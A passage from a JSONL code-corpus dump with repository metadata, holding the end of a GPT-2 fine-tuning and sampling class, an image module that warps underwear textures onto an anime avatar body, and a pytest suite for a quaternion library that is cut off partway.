          start_time = time.time()\n\n                encoded = self.__encode_batch(batch)\n\n                outputs = self.model(encoded, labels=encoded)\n\n                loss, logits = outputs[:2]                        \n                loss.backward()\n                sum_loss += loss.detach().data\n\n                batch_count += 1\n                self.optimizer.step()\n                self.scheduler.step() \n                self.optimizer.zero_grad()\n                self.model.zero_grad()\n\n\n                batch_time = time.time() - start_time\n                batch_times.append(batch_time)\n\n                mean_time = sum(batch_times)/len(batch_times)\n                remaining_batches = batches_len - batch_count       \n                remaining_seconds = remaining_batches * mean_time \n                remaining_time = time.strftime(\"%H:%M:%S\",\n                    time.gmtime(remaining_seconds))\n                progress = \"{:.2%}\".format(batch_count/batches_len)\n                print('Epoch: {}/{}'.format(e+1, self.epochs),\n                      'Progress:', progress,\n                      'Loss: {}'.format(last_loss),\n                      'ETA:', remaining_time)\n            last_loss = sum_loss\n            sum_loss = 0.0\n\n    def isRedundant(self, cur_ids, next_token):\n        cur_ids_list = list(cur_ids.squeeze().to('cpu').numpy())\n        next_id = next_token.item()\n        if cur_ids_list[-1] == next_id: #prev word == next word\n            return True  \n        else:\n            return False      \n\n    def generate_document(self, n,\n                       isNucleus=True,\n                       instanceMxLen=None,\n                       k=None, p=None,\n                       uniq=True,\n                       noRepetition = False):\n        self.model.eval()\n        res = set()\n        max_len = instanceMxLen if instanceMxLen!=None else self.instanceMxLen\n        with torch.no_grad():\n            while len(res) < n:\n                cur_ids = torch.tensor(self.tokenizer.encode(self.taskToken+\" \"+self.getSeed()[0])).unsqueeze(0).to(self.device)\n\n                for i in range(max_len):\n                    outputs = self.model(cur_ids, labels=cur_ids)\n                    _, logits = outputs[:2]\n\n                    if isNucleus:\n                        if p!=None:\n                            next_token_id = self.select_nucleus(logits[0,-1], p=p)\n                        next_token_id = self.select_nucleus(logits[0,-1])\n\n                    else: #topk\n                        softmax_logits = torch.softmax(logits[0,-1], dim=0)\n                        if k!=None:\n                            next_token_id = self.choose_from_top(softmax_logits.to('cpu').numpy(), n=k)\n                        next_token_id = self.choose_from_top(softmax_logits.to('cpu').numpy())\n      \n                    if noRepetition:\n                        if self.isRedundant(cur_ids, next_token_id):\n                            continue\n                        \n\n                    cur_ids = torch.cat([cur_ids, torch.ones((1,1)).long().to(self.device) * next_token_id], dim = 1)\n                    if next_token_id in self.tokenizer.encode(self.eos):\n                        break\n\n                doc = self.tokenizer.decode(list(cur_ids.squeeze().to('cpu').numpy())).strip()\n                if uniq:\n                    if doc not in self.examples:\n                        res.add(doc)\n                else:\n                    res.add(doc)\n\n        return list(res)\n\n\n\n\n\n\n", "meta": {"hexsha": "09fd26a1a32f6886b83bb77796a0ca96ea908bd7", "size": 12864, "ext": "py", "lang": "Python", "max_stars_repo_path": "gpt2.py", "max_stars_repo_name": "FahedSabellioglu/genn", "max_stars_repo_head_hexsha": "6b216cf2d717eb4c44b0090962bdf3cdf188e955", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 9, "max_stars_repo_stars_event_min_datetime": "2020-06-03T12:45:52.000Z", "max_stars_repo_stars_event_max_datetime": "2020-07-18T13:53:03.000Z", "max_issues_repo_path": "gpt2.py", "max_issues_repo_name": "FahedSabellioglu/genn", "max_issues_repo_head_hexsha": "6b216cf2d717eb4c44b0090962bdf3cdf188e955", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "gpt2.py", "max_forks_repo_name": "FahedSabellioglu/genn", "max_forks_repo_head_hexsha": "6b216cf2d717eb4c44b0090962bdf3cdf188e955", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 36.7542857143, "max_line_length": 128, "alphanum_fraction": 0.557369403, "include": true, "reason": "import numpy", "num_tokens": 2811, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3738758227716966, "lm_q2_score": 0.19682619893177905, "lm_q1q2_score": 0.07358855706864453}}
{"text": "import skimage.io as io\nimport skimage.transform as skt\nimport numpy as np\nfrom PIL import Image\nfrom src.models.class_patcher import patcher\nfrom src.utils.imgproc import *\n\n\nclass patcher(patcher):\n    def __init__(self, body='./body/body_mishe.png', **options):\n        super().__init__('\u30df\u30fc\u30b7\u30a7', body=body, pantie_position=[910, 1929], **options)\n        self.mask = io.imread('./mask/mask_mishe.png')\n        self.sign_position = [933, 1482]\n        try:\n            self.add_sign = self.options['add_sign']\n        except:\n            self.add_sign = self.ask(question='Add immoral sign?', default=False)\n        if self.add_sign:\n            try:\n                self.sign = Image.open(self.options['fsign'])\n            except:\n                self.sign = Image.open('./material/anna_sign.png')\n            self.sign = self.sign.resize((369,746))\n\n    def convert(self, image):\n        pantie = np.array(image)\n        pantie = np.bitwise_and(pantie, self.mask)\n        [r, c, d] = pantie.shape\n\n        # move from hip to front\n        patch = np.copy(pantie[-140:-5, 546:, :])\n        pantie[-115:, 546:, :] = 0\n        patch = skt.resize(patch[::-1, ::-1, :], (patch.shape[0], 63), anti_aliasing=True, mode='reflect')\n        [pr, pc, d] = patch.shape\n        pantie[127 - 5:127 - 5 + pr, :pc, :] = np.uint8(patch * 255)\n\n        # Affine transform matrix\n        src_cols = np.linspace(0, c, 10)\n        src_rows = np.linspace(0, r, 10)\n        src_rows, src_cols = np.meshgrid(src_rows, src_cols)\n        src = np.dstack([src_cols.flat, src_rows.flat])[0]\n        shifter_row = np.zeros(src.shape[0])\n        shifter_col = np.zeros(src.shape[0])\n        shifter_row[30:-30] = (np.sin(np.linspace(0, 1 * np.pi, src.shape[0]) - np.pi / 32) * 100)[30:-30]\n        shifter_row[:30] = (np.sin(np.linspace(0, 1 * np.pi, src.shape[0]) + np.pi / 2) * 60)[:30]\n        shifter_row[-30:] = (np.sin(np.linspace(0, 1 * np.pi, src.shape[0]) - np.pi / 2) * 80)[-30:]\n        shifter_col[13:-30] = -(np.sin(np.linspace(0, 1 * np.pi, src.shape[0]) + np.pi / 8) * 22)[13:-30]\n\n        shifter_row = np.convolve(shifter_row, np.ones(20) / 20, mode='valid')\n        shifter_col = np.convolve(shifter_col, np.ones(10) / 10, mode='valid')\n        shifter_row = skt.resize(shifter_row, (100, 1), anti_aliasing=True, mode='reflect')[:, 0]\n        shifter_col = skt.resize(shifter_col, (100, 1), anti_aliasing=True, mode='reflect')[:, 0]\n\n        dst_rows = src[:, 1] + shifter_row - 110\n        dst_cols = src[:, 0] + shifter_col\n        dst = np.vstack([dst_cols, dst_rows]).T\n        affin = skt.PiecewiseAffineTransform()\n        affin.estimate(src, dst)\n        pantie = np.uint8(skt.warp(pantie, affin) * 255)[:310, :, :]\n\n        # Finalize\n        pantie_ = skt.resize(pantie, (np.int(pantie.shape[0] * 2.05), np.int(pantie.shape[1] * 2.05)), anti_aliasing=True, mode='reflect')\n        pantie = np.uint8(pantie_ * 255)\n        return Image.fromarray(pantie)\n    \n    def patch(self, image, transparent=False):\n        image = self.convert(image)\n        if transparent:\n            patched = Image.new(\"RGBA\", self.body_size)\n        else:\n            patched = self.body.copy()\n        \n        if self.add_sign:\n            self.paste(patched, self.sign, self.sign_position)\n        patched = self.paste(patched, image, self.pantie_position)\n        return patched\n", "meta": {"hexsha": "b7a95c0b7ab0811f286c82e4f98cf7d6e6825433", "size": 3363, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/models/mishe.py", "max_stars_repo_name": "HhotateA/quiche_pantie_patch", "max_stars_repo_head_hexsha": "f50c4fd69bd43cccaeb38f026d486e3ccc3850d8", "max_stars_repo_licenses": ["CC-BY-4.0"], "max_stars_count": 73, "max_stars_repo_stars_event_min_datetime": "2019-01-26T02:57:24.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-15T08:45:11.000Z", "max_issues_repo_path": "src/models/mishe.py", "max_issues_repo_name": "HhotateA/quiche_pantie_patch", "max_issues_repo_head_hexsha": "f50c4fd69bd43cccaeb38f026d486e3ccc3850d8", "max_issues_repo_licenses": ["CC-BY-4.0"], "max_issues_count": 9, "max_issues_repo_issues_event_min_datetime": "2019-04-09T10:53:41.000Z", "max_issues_repo_issues_event_max_datetime": "2020-09-11T13:18:26.000Z", "max_forks_repo_path": "src/models/mishe.py", "max_forks_repo_name": "HhotateA/quiche_pantie_patch", "max_forks_repo_head_hexsha": "f50c4fd69bd43cccaeb38f026d486e3ccc3850d8", "max_forks_repo_licenses": ["CC-BY-4.0"], "max_forks_count": 15, "max_forks_repo_forks_event_min_datetime": "2019-04-07T11:28:57.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-29T04:35:48.000Z", "avg_line_length": 43.6753246753, "max_line_length": 138, "alphanum_fraction": 0.5866785608, "include": true, "reason": "import numpy", "num_tokens": 990, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.523420348936324, "lm_q2_score": 0.1403362476923775, "lm_q1q2_score": 0.07345484773555865}}
{"text": "import numpy as np\r\nimport pytest\r\n\r\nfrom quaternions import Quaternion\r\nfrom quaternions.rotation import euler_rotation, rotation_axis_angle\r\nfrom quaternions.utils import is_pair, is_point, is_scalar, is_vector\r\n\r\n########################################\r\n#    constructor\r\n########################################\r\n\r\n\r\n@pytest.mark.parametrize(\r\n    \"obj, expected\",\r\n    [\r\n        # scalar\r\n        (-1.5, Quaternion([-1.5, 0, 0, 0])),\r\n        (5, Quaternion([5, 0, 0, 0])),\r\n        # vector\r\n        (([0.4, 1, 2.5]), Quaternion([0, 0.4, 1.0, 2.5])),\r\n        (np.array([1, -2, 3]), Quaternion([0, 1, -2, 3])),\r\n        # point\r\n        ([-3, 0, 2, 0], Quaternion([-3, 0, 2, 0])),\r\n        (np.array([1.2, 1, 0, -0.6]), Quaternion([1.2, 1, 0, -0.6])),\r\n        # pair\r\n        ((9, [1, 2, 3]), Quaternion([9, 1, 2, 3])),\r\n        ((0, np.array([1, 2, 3])), Quaternion([0, 1, 2, 3])),\r\n        # quaternion\r\n        (Quaternion(-2.5), Quaternion(-2.5)),\r\n        (Quaternion([-1, 2, -3, 4]), Quaternion([-1, 2, -3, 4])),\r\n    ],\r\n)\r\ndef test_quaternion_init(obj, expected):\r\n    result = Quaternion(obj)\r\n\r\n    assert result == expected\r\n\r\n\r\n@pytest.mark.parametrize(\"obj\", [\"0.5\", [0, 1, 2, 3, 4], list(\"letters\"),])\r\ndef test_quaternion_init_error(obj):\r\n    with pytest.raises(TypeError):\r\n        Quaternion(obj)\r\n\r\n\r\n########################################\r\n#    properties\r\n########################################\r\n\r\n\r\n@pytest.mark.parametrize(\r\n    \"quat, expected\",\r\n    [\r\n        (Quaternion(2), [2, 0, 0, 0]),\r\n        (Quaternion([1, 2, 3]), [0, 1, 2, 3]),\r\n        (Quaternion(-np.array([1, 2, 3, 4])), [-1, -2, -3, -4]),\r\n        (Quaternion((9, [4, 5, 6])), np.array([9, 4, 5, 6])),\r\n    ],\r\n)\r\ndef test_point(quat, expected):\r\n    point = quat.point\r\n\r\n    assert is_point(point)\r\n    assert all(x == y for x, y in zip(point, expected))\r\n\r\n\r\n@pytest.mark.parametrize(\r\n    \"quat, expected\",\r\n    [\r\n        (Quaternion(0), 0.0),\r\n        (Quaternion([1, 2, 3]), 0.0),\r\n        (Quaternion([-2.5, 1, 2, 3]), -2.5),\r\n        (Quaternion((1, [5, 6, 7])), 1.0),\r\n    ],\r\n)\r\ndef test_scalar_part(quat, expected):\r\n    scalar = quat.scalar_part\r\n\r\n    assert is_scalar(scalar)\r\n    assert scalar == expected\r\n\r\n\r\n@pytest.mark.parametrize(\r\n    \"quat, expected\",\r\n    [\r\n        (Quaternion(5), [0, 0, 0]),\r\n        (Quaternion([1, 2, 3]), np.array([1, 2, 3])),\r\n        (Quaternion([0, -1, 2, 3]), [-1, 2, 3]),\r\n        (Quaternion((0, [-7, -8, -9])), -np.array([7, 8, 9])),\r\n    ],\r\n)\r\ndef test_vector_part(quat, expected):\r\n    vector = quat.vector_part\r\n\r\n    assert is_vector(vector)\r\n    assert all(x == y for x, y in zip(vector, expected))\r\n\r\n\r\n@pytest.mark.parametrize(\r\n    \"quat, expected\",\r\n    [\r\n        (Quaternion(0), (0, [0, 0, 0])),\r\n        (Quaternion(np.array([4, 9, 2])), (0.0, [4.0, 9, 2])),\r\n        (Quaternion([1, 2, 3, 4]), (1, np.array([2, 3, 4]))),\r\n        (Quaternion((-1, [1, -2, 3])), (-1.0, [1, -2, 3])),\r\n    ],\r\n)\r\ndef test_pair(quat, expected):\r\n    pair = quat.pair\r\n\r\n    assert is_pair(pair)\r\n    s, v = pair\r\n    es, ev = expected\r\n    assert s == es\r\n    assert all(x == y for x, y in zip(v, ev))\r\n\r\n\r\n@pytest.mark.parametrize(\r\n    \"quat, expected\",\r\n    [\r\n        (Quaternion(0), np.zeros([2, 2])),\r\n        (Quaternion(1), np.eye(2)),\r\n        (Quaternion([1, 2, 3]), np.array([[1j, -2 - 3j], [2 - 3j, -1j]])),\r\n        (Quaternion([5, -1, 2, 3]), np.array([[5 - 1j, -2 - 3j], [2 - 3j, 5 + 1j]])),\r\n        (Quaternion((4, [3, 2, 1])), np.array([[4 + 3j, -2 - 1j], [2 - 1j, 4 - 3j]])),\r\n    ],\r\n)\r\ndef test_complex_matrix(quat, expected):\r\n    matrix = quat.complex_matrix\r\n\r\n    assert np.allclose(matrix, expected)\r\n\r\n\r\n@pytest.mark.parametrize(\r\n    \"quat, expected\",\r\n    [\r\n        (Quaternion(-3), True),\r\n        (Quaternion([1, 2, 3]), False),\r\n        (Quaternion(np.array([0, 0, 0])), True),\r\n        (Quaternion([1, 2, 3, 4]), False),\r\n        (Quaternion([1, 0, 0, 0]), True),\r\n        (Quaternion((-1, [1, 2, 3])), False),\r\n        (Quaternion((-1, [0.0, 0.0, 0.0])), True),\r\n    ],\r\n)\r\ndef test_is_scalar(quat, expected):\r\n    s = quat.is_scalar\r\n\r\n    assert s is expected\r\n\r\n\r\n@pytest.mark.parametrize(\r\n    \"quat, expected\",\r\n    [\r\n        (Quaternion(8), False),\r\n        (Quaternion(0), True),\r\n        (Quaternion([1, 2, 3]), True),\r\n        (Quaternion([1, 2, 3, 4]), False),\r\n        (Quaternion([0, 1, 2, 3]), True),\r\n        (Quaternion((-1, [1, 2, 3])), False),\r\n        (Quaternion((0.0, [1.0, 2.0, 3.0])), True),\r\n    ],\r\n)\r\ndef test_is_vector(quat, expected):\r\n    v = quat.is_vector\r\n\r\n    assert v is expected\r\n\r\n\r\n@pytest.mark.parametrize(\r\n    \"quat, expected\",\r\n    [\r\n        (Quaternion(1), False),\r\n        (Quaternion(0), True),\r\n        (Quaternion([1, 2, 3]), False),\r\n        (Quaternion([0, 0, 0]), True),\r\n        (Quaternion([1, 2, 3, 4]), False),\r\n        (Quaternion([0, 0, 0, 0]), True),\r\n        (Quaternion((-1, [1, 2, 3])), False),\r\n        (Quaternion((0.0, [0, 0, 0])), True),\r\n    ],\r\n)\r\ndef test_is_zero(quat, expected):\r\n    z = quat.is_zero\r\n\r\n    assert z is expected\r\n\r\n\r\n@pytest.mark.parametrize(\r\n    \"quat, expected\",\r\n    [\r\n        (Quaternion(1), True),\r\n        (Quaternion(-1), True),\r\n        (Quaternion(0), False),\r\n        (Quaternion([1, 2, 3]), False),\r\n        (Quaternion([0, -1, 0]), True),\r\n        (Quaternion([1, 2, 3, 4]), False),\r\n        (Quaternion([0, 1, 0, 0]), True),\r\n        (Quaternion((-1, [1, 2, 3])), False),\r\n        (Quaternion((-1 / 2, [-1 / 2, 1 / 2, 1 / 2])), True),\r\n    ],\r\n)\r\ndef test_is_unit(quat, expected):\r\n    result = quat.is_unit\r\n\r\n    assert result is expected\r\n\r\n\r\n@pytest.mark.parametrize(\r\n    \"quat, expected\",\r\n    [\r\n        (Quaternion(0), Quaternion(0)),\r\n        (Quaternion(-2), Quaternion(-2.0)),\r\n        (Quaternion([0, 0, 0]), Quaternion(0)),\r\n        (Quaternion([1, 2, 3]), Quaternion(-np.array([1, 2, 3]))),\r\n        (Quaternion(np.array([0, 0, 0, 0])), Quaternion(0)),\r\n        (Quaternion([1, 2, 3, 4]), Quaternion([1, -2, -3, -4])),\r\n        (Quaternion((0.0, [0, 0, 0])), Quaternion(0)),\r\n        (Quaternion((1, [-2, -3, -4])), Quaternion([1, 2, 3, 4])),\r\n    ],\r\n)\r\ndef test_conjugate(quat, expected):\r\n    c = quat.conjugate\r\n\r\n    assert c == expected\r\n\r\n\r\ndef test_inverse_error():\r\n    quat = Quaternion(0.0)\r\n    with pytest.raises(ArithmeticError):\r\n        quat.inverse\r\n\r\n\r\n@pytest.mark.parametrize(\r\n    \"quat, expected\",\r\n    [\r\n        (Quaternion(2), Quaternion(0.5)),\r\n        (Quaternion([1, 2, 3]), Quaternion(-np.array([1, 2, 3]) / 14.0)),\r\n        (Quaternion([1, 2, 3, 4]), Quaternion(np.array([1, -2, -3, -4]) / 30)),\r\n        (Quaternion((1, [-2, -3, -4])), Quaternion(np.array([1, 2, 3, 4]) / 30.0)),\r\n    ],\r\n)\r\ndef test_inverse(quat, expected):\r\n    i = quat.inverse\r\n\r\n    assert i == expected\r\n\r\n\r\n@pytest.mark.parametrize(\r\n    \"quat, norm, squared_norm\",\r\n    [\r\n        (Quaternion(0), 0.0, 0.0),\r\n        (Quaternion(-2), 2.0, 4),\r\n        (Quaternion([0, 0, 0]), 0, 0),\r\n        (Quaternion([1, 2, 3]), np.sqrt(14), 14.0),\r\n        (Quaternion(np.array([0, 0, 0, 0])), 0.0, 0),\r\n        (Quaternion([1, 2, 3, 4]), np.sqrt(30), 30),\r\n        (Quaternion((0.0, [0, 0, 0])), 0, 0),\r\n        (Quaternion((1, [-2, -3, -4])), np.sqrt(30), 30),\r\n    ],\r\n)\r\ndef test_norms(quat, norm, squared_norm):\r\n    n = quat.norm\r\n    sn = quat.squared_norm\r\n\r\n    assert n == pytest.approx(norm, abs=1e-8)\r\n    assert sn == pytest.approx(squared_norm, abs=1e-8)\r\n\r\n\r\n##############################\r\n# OPERATOR OVERLOADING\r\n##############################\r\n\r\n\r\n@pytest.mark.parametrize(\r\n    \"p, q\",\r\n    [\r\n        (Quaternion(0), Quaternion(0)),\r\n        (Quaternion([1, 2, 3]), Quaternion(np.array([1, 2, 3]))),\r\n        (Quaternion([0, 1, 2, 3]), Quaternion(np.array([0, 1, 2, 3]))),\r\n        (Quaternion((0, [1, 2, 3])), Quaternion((0, np.array([1, 2, 3])))),\r\n    ],\r\n)\r\ndef test_eq(p, q):\r\n    assert p == q\r\n\r\n\r\n@pytest.mark.parametrize(\r\n    \"p, q\",\r\n    [\r\n        (Quaternion(2), Quaternion(-3)),\r\n        (Quaternion([-2, 2, -2]), Quaternion(np.array([1, 2, 3]))),\r\n        (Quaternion([-6, 3, 2, 3]), Quaternion(np.array([0, 1, 2, 3]))),\r\n        (Quaternion((0, [-1, -2, 3])), Quaternion((0, np.array([1, 2, 3])))),\r\n    ],\r\n)\r\ndef test_ne(p, q):\r\n    assert p != q\r\n\r\n\r\n@pytest.fixture(\r\n    scope=\"function\",\r\n    params=[\r\n        # p\r\n        # expected +p\r\n        # expected -p\r\n        # expected ~p\r\n        # expected abs(p)\r\n        (Quaternion(0), Quaternion(0), Quaternion(0), Quaternion(0), 0,),\r\n        (Quaternion(-1.2), Quaternion(-1.2), Quaternion(1.2), Quaternion(-1.2), 1.2,),\r\n        (\r\n            Quaternion([1, 1, 0]),\r\n            Quaternion([1, 1, 0]),\r\n            Quaternion([-1, -1, 0]),\r\n            Quaternion([-1, -1, 0]),\r\n            np.sqrt(2),\r\n        ),\r\n        (\r\n            Quaternion([-1, 1, -1, 1]),\r\n            Quaternion([-1, 1, -1, 1]),\r\n            Quaternion([1, -1, 1, -1]),\r\n            Quaternion([-1, -1, 1, -1]),\r\n            2.0,\r\n        ),\r\n    ],\r\n)\r\ndef fxt_quat_unary(request):\r\n    return request.param\r\n\r\n\r\n@pytest.fixture(\r\n    scope=\"function\",\r\n    params=[\r\n        # p,  q\r\n        # expected p + q\r\n        # expected p - q\r\n        # expected p * q\r\n        # expected p / q\r\n        (\r\n            Quaternion(3),\r\n            -1.5,\r\n            Quaternion(1.5),\r\n            Quaternion(4.5),\r\n            Quaternion(-4.5),\r\n            Quaternion(-2),\r\n        ),\r\n        (\r\n            Quaternion(2),\r\n            np.array([1, 0, 0]),\r\n            Quaternion([2, 1, 0, 0]),\r\n            Quaternion([2, -1, 0, 0]),\r\n            Quaternion([2, 0, 0]),\r\n            Quaternion((0, [-2, 0, 0])),\r\n        ),\r\n        (\r\n            Quaternion(np.array([1, 0, 0])),\r\n            Quaternion(np.array([0, 1, 0])),\r\n            Quaternion(np.array([1, 1, 0])),\r\n            Quaternion(np.array([1, -1, 0])),\r\n            Quaternion(np.array([0, 0, 1])),\r\n            Quaternion(np.array([0, 0, -1])),\r\n        ),\r\n        (\r\n            Quaternion(3),\r\n            np.array([1, 1, 1]),\r\n            Quaternion([3, 1, 1, 1]),\r\n            Quaternion([3, -1, -1, -1]),\r\n            Quaternion(3 * np.array([1, 1, 1])),\r\n            Quaternion(-np.array([1, 1, 1])),\r\n        ),\r\n        (\r\n            Quaternion(np.array([1, 0, 1, 0])),\r\n            [2, 0, 0, 1],\r\n            Quaternion(np.array([3, 0, 1, 1])),\r\n            Quaternion(np.array([-1, 0, 1, -1])),\r\n            Quaternion(np.array([2, 1, 2, 1])),\r\n            Quaternion(np.array([2, -1, 2, -1]) / 5),\r\n        ),\r\n        (\r\n            Quaternion([-1, 1, 1, 0]),\r\n            [0, 0, 1, 1],\r\n            Quaternion(np.array([-1, 1, 2, 1])),\r\n            Quaternion(np.array([-1, 1, 0, -1])),\r\n            Quaternion(np.array([-1, 1, -2, 0])),\r\n            Quaternion(np.array([1, -1, 2, 0]) / 2),\r\n        ),\r\n    ],\r\n)\r\ndef fxt_bin_ops(request):\r\n    return request.param\r\n\r\n\r\nfxt_quat = [\r\n    Quaternion(1.0),\r\n    Quaternion(np.array([1, 2, 3])),\r\n    Quaternion([1, 2, 3, 4]),\r\n    Quaternion((-1, [-1, 0, 1])),\r\n]\r\n\r\nfxt_quat_struct = [\r\n    1,\r\n    [1, 0, 1],\r\n    np.array([-1, 0, -2]),\r\n    [-1, 2, -1, 0],\r\n    np.array([-1, 0, -1, -2]),\r\n    (0, [1, 2, 3]),\r\n    (0, np.array([-1, 0, 0])),\r\n]\r\n\r\nfxt_quat_struct_list = [\r\n    [[0, 1, -1], [-1, 1, -1], [2.3, 0.2, 1.5],],  # list of vectors\r\n    np.array([[1, 2, 3], [-1, 0, 2], [-2, 1, -1],]),  # array of vectors\r\n    [[5, 2, 1, 0], [0, -1, 1, -1], [1.1, 2.2, 1.5, -4.5],],  # list of points\r\n    np.array([[0, 1.1, 0, 3], [0.2, 1.0, 0, 2], [-1.5, 1, 3, 1],]),  # array of points\r\n    [(1, np.array([1, 2, 3])), (0, [-1, -2, 0]), (-1, [2, 0, -2]),],  # list of pairs\r\n    [  # list of quaternions\r\n        Quaternion(-3.0),\r\n        Quaternion([0, 1, 0]),\r\n        Quaternion(np.array([2, -1, 0])),\r\n        Quaternion([5, 2, -1, 2]),\r\n        Quaternion(np.array([-1, 0, 2, 2])),\r\n        Quaternion((0, [1, 2, 3])),\r\n    ],\r\n]\r\n\r\n\r\n##############################\r\n# unary ops\r\n##############################\r\n\r\n\r\ndef test_quaternion_pos(fxt_quat_unary):\r\n    p, expected, *_ = fxt_quat_unary\r\n    result = +p\r\n    assert result == expected\r\n\r\n\r\ndef test_quaternion_neg(fxt_quat_unary):\r\n    p, _, expected, *_ = fxt_quat_unary\r\n    result = -p\r\n    assert result == expected\r\n\r\n\r\ndef test_quaternion_invert(fxt_quat_unary):\r\n    p, *_, expected, _ = fxt_quat_unary\r\n    result = ~p\r\n    assert result == expected\r\n\r\n\r\ndef test_quaternion_abs(fxt_quat_unary):\r\n    p, *_, expected = fxt_quat_unary\r\n    result = abs(p)\r\n    assert result == pytest.approx(expected)\r\n\r\n\r\n##############################\r\n# binary ops\r\n##############################\r\n\r\n\r\ndef test_quaternion_add(fxt_bin_ops):\r\n    p, q, expected, *_ = fxt_bin_ops\r\n    result = p + q\r\n    assert expected == result\r\n\r\n\r\ndef test_quaternion_sub(fxt_bin_ops):\r\n    p, q, _, expected, *_ = fxt_bin_ops\r\n    result = p - q\r\n    assert expected == result\r\n\r\n\r\ndef test_quaternion_mul(fxt_bin_ops):\r\n    p, q, *_, expected, _ = fxt_bin_ops\r\n    result = p * q\r\n    assert expected == result\r\n\r\n\r\ndef test_quaternion_truediv(fxt_bin_ops):\r\n    p, q, *_, expected = fxt_bin_ops\r\n    result = p / q\r\n    assert expected == result\r\n\r\n\r\ndef test_quaternion_iadd(fxt_bin_ops):\r\n    p, q, expected, *_ = fxt_bin_ops\r\n    p += q\r\n    assert p == expected\r\n\r\n\r\ndef test_quaternion_isub(fxt_bin_ops):\r\n    p, q, _, expected, *_ = fxt_bin_ops\r\n    p -= q\r\n    assert p == expected\r\n\r\n\r\ndef test_quaternion_imul(fxt_bin_ops):\r\n    p, q, *_, expected, _ = fxt_bin_ops\r\n    p *= q\r\n    assert p == expected\r\n\r\n\r\ndef test_quaternion_itruediv(fxt_bin_ops):\r\n    p, q, *_, expected = fxt_bin_ops\r\n    p /= q\r\n    assert p == expected\r\n\r\n\r\n@pytest.mark.parametrize(\"p\", fxt_quat)\r\n@pytest.mark.parametrize(\"struct\", fxt_quat_struct_list)\r\ndef test_quaternion_add_struct(p, struct):\r\n    result = p + struct\r\n    assert all(r - Quaternion(q) == p for r, q in zip(result, struct))\r\n\r\n\r\n@pytest.mark.parametrize(\"p\", fxt_quat)\r\n@pytest.mark.parametrize(\"struct\", fxt_quat_struct_list)\r\ndef test_quaternion_sub_struct(p, struct):\r\n    result = p - struct\r\n    assert all(r + Quaternion(q) == p for r, q in zip(result, struct))\r\n\r\n\r\n@pytest.mark.parametrize(\"p\", fxt_quat)\r\n@pytest.mark.parametrize(\"struct\", fxt_quat_struct_list)\r\ndef test_quaternion_mul_struct(p, struct):\r\n    result = p * struct\r\n    assert all(r / Quaternion(q) == p for r, q in zip(result, struct))\r\n\r\n\r\n@pytest.mark.parametrize(\"p\", fxt_quat)\r\n@pytest.mark.parametrize(\"struct\", fxt_quat_struct_list)\r\ndef test_quaternion_truediv_struct(p, struct):\r\n    result = p / struct\r\n    assert all(r * Quaternion(q) == p for r, q in zip(result, struct))\r\n\r\n\r\n@pytest.mark.parametrize(\"p\", fxt_quat)\r\n@pytest.mark.parametrize(\"struct\", fxt_quat_struct_list)\r\ndef test_quaternion_iadd_struct(p, struct):\r\n    before = p\r\n    p += struct\r\n    assert all(r - Quaternion(q) == before for r, q in zip(p, struct))\r\n\r\n\r\n@pytest.mark.parametrize(\"p\", fxt_quat)\r\n@pytest.mark.parametrize(\"struct\", fxt_quat_struct_list)\r\ndef test_quaternion_isub_struct(p, struct):\r\n    before = p\r\n    p -= struct\r\n    assert all(r + Quaternion(q) == before for r, q in zip(p, struct))\r\n\r\n\r\n@pytest.mark.parametrize(\"p\", fxt_quat)\r\n@pytest.mark.parametrize(\"struct\", fxt_quat_struct_list)\r\ndef test_quaternion_imul_struct(p, struct):\r\n    before = p\r\n    p *= struct\r\n    assert all(r / Quaternion(q) == before for r, q in zip(p, struct))\r\n\r\n\r\n@pytest.mark.parametrize(\"p\", fxt_quat)\r\n@pytest.mark.parametrize(\"struct\", fxt_quat_struct_list)\r\ndef test_quaternion_itruediv_struct(p, struct):\r\n    before = p\r\n    p /= struct\r\n    assert all(r * Quaternion(q) == before for r, q in zip(p, struct))\r\n\r\n\r\n@pytest.mark.parametrize(\"p\", fxt_quat_struct)\r\n@pytest.mark.parametrize(\"q\", fxt_quat)\r\ndef test_quaternion_radd(p, q):\r\n    result = p + q\r\n    assert result == Quaternion(p) + q\r\n\r\n\r\n@pytest.mark.parametrize(\"p\", fxt_quat_struct)\r\n@pytest.mark.parametrize(\"q\", fxt_quat)\r\ndef test_quaternion_rsub(p, q):\r\n    result = p - q\r\n    assert result == Quaternion(p) - q\r\n\r\n\r\n@pytest.mark.parametrize(\"p\", fxt_quat_struct)\r\n@pytest.mark.parametrize(\"q\", fxt_quat)\r\ndef test_quaternion_rmul(p, q):\r\n    result = p * q\r\n    assert result == Quaternion(p) * q\r\n\r\n\r\n@pytest.mark.parametrize(\"p\", fxt_quat_struct)\r\n@pytest.mark.parametrize(\"q\", fxt_quat)\r\ndef test_quaternion_rtruediv(p, q):\r\n    result = p / q\r\n    assert result == Quaternion(p) / q\r\n\r\n\r\n@pytest.mark.parametrize(\"struct\", fxt_quat_struct_list)\r\n@pytest.mark.parametrize(\"q\", fxt_quat)\r\ndef test_quaternion_radd_struct(struct, q):\r\n    result = struct + q\r\n    assert all(r - q == Quaternion(p) for r, p in zip(result, struct))\r\n\r\n\r\n@pytest.mark.parametrize(\"struct\", fxt_quat_struct_list)\r\n@pytest.mark.parametrize(\"q\", fxt_quat)\r\ndef test_quaternion_rsub_struct(struct, q):\r\n    result = struct - q\r\n    assert all(r + q == Quaternion(p) for r, p in zip(result, struct))\r\n\r\n\r\n@pytest.mark.parametrize(\"struct\", fxt_quat_struct_list)\r\n@pytest.mark.parametrize(\"q\", fxt_quat)\r\ndef test_quaternion_rmul_struct(struct, q):\r\n    result = struct * q\r\n    assert all(r / q == Quaternion(p) for r, p in zip(result, struct))\r\n\r\n\r\n@pytest.mark.parametrize(\"struct\", fxt_quat_struct_list)\r\n@pytest.mark.parametrize(\"q\", fxt_quat)\r\ndef test_quaternion_rtruediv_struct(struct, q):\r\n    result = struct / q\r\n    assert 